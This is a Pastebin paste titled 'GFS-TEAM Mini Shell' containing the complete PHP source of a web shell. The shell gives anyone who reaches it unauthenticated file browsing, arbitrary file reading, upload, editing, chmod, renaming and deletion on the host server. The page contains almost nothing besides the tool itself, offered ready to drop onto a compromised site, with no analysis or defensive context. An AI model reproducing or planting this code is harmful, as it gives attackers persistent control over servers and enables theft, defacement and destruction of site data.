Advertisement
Kyuoko

GFS-TEAM Mini Shell

Aug 18th, 2017
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.03 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6.     foreach($_POST as $key=>$value){
  7.         $_POST[$key] = stripslashes($value);
  8.     }
  9. } echo '<!DOCTYPE HTML>
  10.         <html>
  11.         <head>
  12.             <title>GFS-TEAM</title>
  13.             <link href="" rel="stylesheet" type="text/css">
  14.             <style>
  15.                 body {
  16.                     font-family: "tahoma", cursive;
  17.                     background-color: black;
  18.                     color:cyan;
  19.                 }
  20.                 #content tr:hover{
  21.                     text-shadow:0px 0px 10px;
  22.                 }
  23.                 #content .first{
  24.                 background-color: green;
  25.                 }
  26.                 table{
  27.                     border: 1px #000000 dotted;
  28.                 }
  29.                 a{
  30.                     color:cyan;
  31.                     text-decoration: none;
  32.                 }
  33.                 a:hover{
  34.                     color:white;
  35.                     text-shadow:0px 0px 10px transparent;
  36.                 }
  37.                 input,select,textarea{
  38.                     border: 1px white solid;
  39.                     -moz-border-radius: 5px;
  40.                     -webkit-border-radius:5px;
  41.                     border-radius:5px;
  42.                 }
  43.             </style>
  44.         </head>
  45.         <body>
  46.             <h1>
  47.                 <center>
  48.                     <font color="cyan">GFS-TEAM MINI SHELL</font>
  49.                 </center>
  50.             </h1>
  51.             <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  52.                 <tr>
  53.                     <td>
  54.                         <font color="white">Current Dir :</font> ';
  55.  
  56. if(isset($_GET['path'])){
  57.     $path = $_GET['path'];
  58. } else{
  59.     $path = getcwd();
  60. }
  61. $path = str_replace('\\','/',$path);
  62. $paths = explode('/',$path);
  63.  
  64. foreach($paths as $id=>$pat){
  65.     if($pat == '' && $id == 0){
  66.         $a = true;
  67.         echo '<a href="?path=/">/</a>';
  68.         continue;
  69.     }
  70.     if($pat == '') continue;
  71.     echo '<a href="?path=';
  72.     for($i=0;$i<=$id;$i++){
  73.         echo "$paths[$i]";
  74.         if($i != $id) echo "/";
  75.     }
  76.     echo '">'.$pat.'</a>/';
  77. } echo '</td></tr><tr><td>';
  78. if(isset($_FILES['file'])){
  79.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  80.         echo '<font color="cyan">Upload Succeeded</font><br />';
  81.     } else{
  82.         echo '<font color="red">Upload Failed</font><br/>';
  83.     }
  84. } echo '<form enctype="multipart/form-data" method="POST">
  85.         <font color="white">File Upload :</font> <input type="file" name="file" />
  86.         <input type="submit" value="upload" />
  87.         </form>
  88.         </td>
  89.         </tr>';
  90.  
  91. if(isset($_GET['filesrc'])){
  92.     echo "<tr><td>Current File : ";
  93.     echo $_GET['filesrc'];
  94.     echo '</tr></td></table><br />';
  95.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  96. } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  97.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  98.     if($_POST['opt'] == 'chmod'){
  99.         if(isset($_POST['perm'])){
  100.             if(chmod($_POST['path'],$_POST['perm'])){
  101.                 echo '<font color="cyan">Change Permission Successful</font><br/>';
  102.             } else{
  103.                 echo '<font color="red">Change Permission Failed</font><br />';
  104.             }
  105.         } echo '<form method="POST">
  106.                 Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  107.                 <input type="hidden" name="path" value="'.$_POST['path'].'">
  108.                 <input type="hidden" name="opt" value="chmod">
  109.                 <input type="submit" value="Go" />
  110.                 </form>';
  111.             } elseif($_POST['opt'] == 'rename'){
  112.                 if(isset($_POST['newname'])){
  113.                     if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  114.                         echo '<font color="cyan">Rename Successfully</font><br/>';
  115.                     } else{
  116.                         echo '<font color="red">Rename Failed</font><br />';
  117.                     }
  118.                     $_POST['name'] = $_POST['newname'];
  119.                 } echo '<form method="POST">
  120.                         New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  121.                         <input type="hidden" name="path" value="'.$_POST['path'].'">
  122.                         <input type="hidden" name="opt" value="rename">
  123.                         <input type="submit" value="Go" />
  124.                         </form>';
  125.                     } elseif($_POST['opt'] == 'edit'){
  126.                         if(isset($_POST['src'])){
  127.                             $fp = fopen($_POST['path'],'w');
  128.                             if(fwrite($fp,$_POST['src'])){
  129.                                 echo '<font color="cyan">Successfully Edit File</font><br/>';
  130.                             } else{
  131.                                 echo '<font color="red">Failed to Edit File</font><br/>';
  132.                             } fclose($fp);
  133.                         } echo '<form method="POST">
  134.                                 <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  135.                                 <input type="hidden" name="path" value="'.$_POST['path'].'">
  136.                                 <input type="hidden" name="opt" value="edit">
  137.                                 <input type="submit" value="Save" />
  138.                                 </form>';
  139.                             } echo '</center>';
  140.                         } else{
  141.                             echo '</table><br/><center>';
  142.                             if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  143.                                 if($_POST['type'] == 'dir'){
  144.                                     if(rmdir($_POST['path'])){
  145.                                         echo '<font color="cyan">Deleted Directory</font><br/>';
  146.                                     } else{
  147.                                         echo '<font color="red">Directory Failed Deleted</font><br/>';
  148.                                     }
  149.                                 } elseif($_POST['type'] == 'file'){
  150.                                     if(unlink($_POST['path'])){
  151.                                         echo '<font color="cyan">Deleted Files</font><br/>';
  152.                                     } else{
  153.                                         echo '<font color="red">File Failed Deleted</font><br/>';
  154.                                     }
  155.                                 }
  156.                             } echo '</center>';
  157.                             $scandir = scandir($path);
  158.                             echo '<div id="content">
  159.                                   <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  160.                                     <tr class="first">
  161.                                         <td>
  162.                                             <center>Name</peller></center>
  163.                                         </td>
  164.                                         <td>
  165.                                             <center>Size</peller></center>
  166.                                         </td>
  167.                                         <td>
  168.                                             <center>Permission</peller></center>
  169.                                         </td>
  170.                                         <td>
  171.                                             <center>Modify</peller></center>
  172.                                         </td>
  173.                                     </tr>';
  174.  
  175. foreach($scandir as $dir){
  176.     if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  177.     echo '<tr>
  178.           <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  179.           <td><center>--</center></td>
  180.           <td><center>';
  181.           if(is_writable($path.'/'.$dir)) echo '<font color="cyan">';
  182.           elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  183.           echo perms($path.'/'.$dir);
  184.           if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  185.           echo '</center></td>
  186.                 <td><center><form method="POST" action="?option&path='.$path.'">
  187.                     <select name="opt">
  188.                         <option value="">Select</option>
  189.                         <option value="delete">Delete</option>
  190.                         <option value="chmod">Chmod</option>
  191.                         <option value="rename">Rename</option>
  192.                     </select>
  193.                     <input type="hidden" name="type" value="dir">
  194.                     <input type="hidden" name="name" value="'.$dir.'">
  195.                     <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  196.                     <input type="submit" value=">">
  197.                     </form></center></td>
  198.                     </tr>';
  199.                 } echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  200.  
  201. foreach($scandir as $file){
  202.     if(!is_file($path.'/'.$file)) continue;
  203.     $size = filesize($path.'/'.$file)/1024;
  204.     $size = round($size,3);
  205.     if($size >= 1024){
  206.         $size = round($size/1024,2).' MB';
  207.     } else{
  208.         $size = $size.' KB';
  209.     } echo '<tr>
  210.             <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  211.             <td><center>'.$size.'</center></td>
  212.             <td><center>';
  213.  
  214. if(is_writable($path.'/'.$file)) echo '<font color="cyan">';
  215. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  216. echo perms($path.'/'.$file);
  217. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  218. echo '</center></td>
  219.       <td><center><form method="POST" action="?option&path='.$path.'">
  220.       <select name="opt">
  221.         <option value="">Select</option>
  222.         <option value="delete">Delete</option>
  223.         <option value="chmod">Chmod</option>
  224.         <option value="rename">Rename</option>
  225.         <option value="edit">Edit</option>
  226.       </select>
  227.       <input type="hidden" name="type" value="file">
  228.       <input type="hidden" name="name" value="'.$file.'">
  229.       <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  230.       <input type="submit" value=">">
  231.       </form></center></td>
  232.       </tr>';
  233.     } echo '</table></div>';
  234. } echo "<br><center>Copyright © 2017 - </body></html>" . (int)date('Y'). " GFS-TEAM";
  235.  
  236. function perms($file){
  237.     $perms = fileperms($file);
  238.     if (($perms & 0xC000) == 0xC000) {
  239.     // Socket
  240.         $info = 's';
  241.     } elseif (($perms & 0xA000) == 0xA000) {
  242.     // Symbolic Link
  243.         $info = 'l';
  244.     } elseif (($perms & 0x8000) == 0x8000) {
  245.     // Regular
  246.         $info = '-';
  247.     } elseif (($perms & 0x6000) == 0x6000) {
  248.     // Block special
  249.         $info = 'b';
  250.     } elseif (($perms & 0x4000) == 0x4000) {
  251.     // Directory
  252.         $info = 'd';
  253.     } elseif (($perms & 0x2000) == 0x2000) {
  254.     // Character special
  255.         $info = 'c';
  256.     } elseif (($perms & 0x1000) == 0x1000) {
  257.     // FIFO pipe
  258.         $info = 'p';
  259.     } else {
  260.     // Unknown
  261.         $info = 'u';
  262.     }
  263.     // Owner
  264.     $info .= (($perms & 0x0100) ? 'r' : '-');
  265.     $info .= (($perms & 0x0080) ? 'w' : '-');
  266.     $info .= (($perms & 0x0040) ?
  267.         (($perms & 0x0800) ? 's' : 'x' ) :
  268.         (($perms & 0x0800) ? 'S' : '-'));
  269.         // Group
  270.     $info .= (($perms & 0x0020) ? 'r' : '-');
  271.     $info .= (($perms & 0x0010) ? 'w' : '-');
  272.     $info .= (($perms & 0x0008) ?
  273.         (($perms & 0x0400) ? 's' : 'x' ) :
  274.         (($perms & 0x0400) ? 'S' : '-'));
  275.         // World
  276.     $info .= (($perms & 0x0004) ? 'r' : '-');
  277.     $info .= (($perms & 0x0002) ? 'w' : '-');
  278.     $info .= (($perms & 0x0001) ?
  279.         (($perms & 0x0200) ? 't' : 'x' ) :
  280.         (($perms & 0x0200) ? 'T' : '-'));
  281.     return $info;
  282. }
  283. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement